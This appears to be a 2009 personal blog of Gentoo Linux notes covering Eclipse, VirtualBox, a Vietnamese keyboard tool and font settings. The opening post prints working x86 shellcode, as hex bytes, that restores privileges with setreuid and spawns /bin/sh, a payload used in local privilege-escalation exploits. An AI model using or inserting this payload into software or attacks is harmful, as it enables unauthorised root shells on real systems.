Thursday, 12 November 2009

Restore privledge and /bin/sh shellcode

My favourite shellcode, basically it will call setreuid(geteuid()) and call /bin/sh.

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f \x73\x68\x58\x4e\x41\x41\x41"

Wednesday, 11 November 2009

Problem with VirtualBox Winxp Ethernet Adapter

After install windows xp at guest machine on virtual box, i change NIC to Bridge, but i got the error:
Failed to start the virtual machine name.
Failed to open/create the internal network 'HostInterfaceNetworking-eth0' (VERR_SUPDRV_COMPONENT_NOT_FOUND).
Failed to attach the network LUN (VERR_SUPDRV_COMPONENT_NOT_FOUND).
One of the kernel modules was not successfully loaded. Make sure that no kernel modules from an older version of VirtualBox exist. Then try to recompile and reload the kernel modules by executing '/etc/init.d/vboxdrv setup' as root (VERR_SUPDRV_COMPONENT_NOT_FOUND).


Google at first, i see a solution:
#modprobe vboxnetflt

API call Create New Process

Some API function to call new process:

# 'WinExec()' (kernel32.dll)
# 'ShellExecute()' (Shell32.dll)
# 'ShellExecuteEx()' (shell32.dll)
# 'CreateProcess()' (kernel32.dll)
# 'CreateProcessAsUser()' (AdvAPI32.dll)
# 'CreateProcessWithLogonW()' (AdvAPI32.dll)

Tuesday, 10 November 2009

Install eclipse

First of all, i search through package to find any useful :)
#emerge --search eclipse
So i found eclipse-sdk
Next i emerge it:
#emerge eclipse-sdk
It said package j2sdk is restricted download, so i have to download manual and put it to
/usr/portage/distfile
After that we can :
#emerge eclipse-sdk

Make font in gentoo wonderful :)

Another big help from rd :)
#nano ~/.gtkrc-2.0.mine
gtk-xft-antialias = 1
gtk-xft-autohint = 0
gtk-xft-dpi = 96
gtk-xft-hinting = 1
gtk-xft-hintstyle = hintslight
gtk-xft-rgba = rgb
gtk-xft-lcdfilter = lcddefault

#nano ~/.Xdefaults
Xft.antialias: true
Xft.autohint: false
Xft.dpi: 96
Xft.hinting: true
Xft.hintstyle: hintslight
Xft.lcdfilter: lcddefault
Xft.rgba: rgb

#nano ~/.xsession
f [ -f $HOME/.Xdefaults ]; then
xrdb -merge $HOME/.Xdefaults
fi


Restart x and you will see :|

Install xvnkb on gentoo

If you go to #emerge -v xvnkb
You will disapointed with it's error :)
Today, with help from rd, i successful install xvnkb on gentoo :D Like a charm
Here is method :
#wget http://dl.dropbox.com/u/2854765/xvnkb-0.2.9a-r2.tar.bz2
#mkdir /usr/local/portage/app-i18n
#cp xvn* /usr/local/portage/app-il8n
#emerge -v xvnkb
#nano ~/.xinitrc

export LANG=en_US.UTF-8
export GTK_IM_MODULE=xim
export LD_PRELOAD=/usr/lib/xvnkb.so
exec startlxde
#mkdir /usr/share/locale/en_US.UTF-8
#localedef -v -ci en_US -f UTF-8 /usr/share/locale/en_US.UTF-8

#xvnkb

Sunday, 8 November 2009

Install VirtualBox

I followed install virtualBox on Wiki gentoo page:

At first i :
#emerge virtualbox-bin
and all finish i started it:
#VirtualBox
but nothing happen, i tried to install Virtualbox-ose, i see it has some conflick between ose and bin edition.
So i find anotherway :
#qlist virtualbox-bin

It show me i have no VirtualBox binary file.
The next i try to read USE flag of this package,and i see it need qt4 USE flag. So i set it on make.conf

#emerge -pv Virtualbox-bin


And now i started it by:
#/opt/bin/VirtualBox

Everything done with some problem :)

Gen2 everyday command log





home ~ # USE="gtk X emerald awn backgrounds cursors fonts icons pidgin theme sounds" emerge -v mac4lin
Lxde+Mac+Windows7 in one theme :D


After install any packages, you can use :
#revdep-rebuild
to rebuild all package broken
To recompile packages with new USE flag you can use:
#emerge --newuse
or
#emerge --newuse world
To recompile all package with new USE flag.

# cat /var/db/pkg/sys-apps/dbus-*/USE
After face with problem on dbus, i got this command, so far i will find how to use it, and post here when i know :)

Install adobe-flash:

#emerge adobe-flas
h

All package you have download storage in:
/usr/portage/distfiles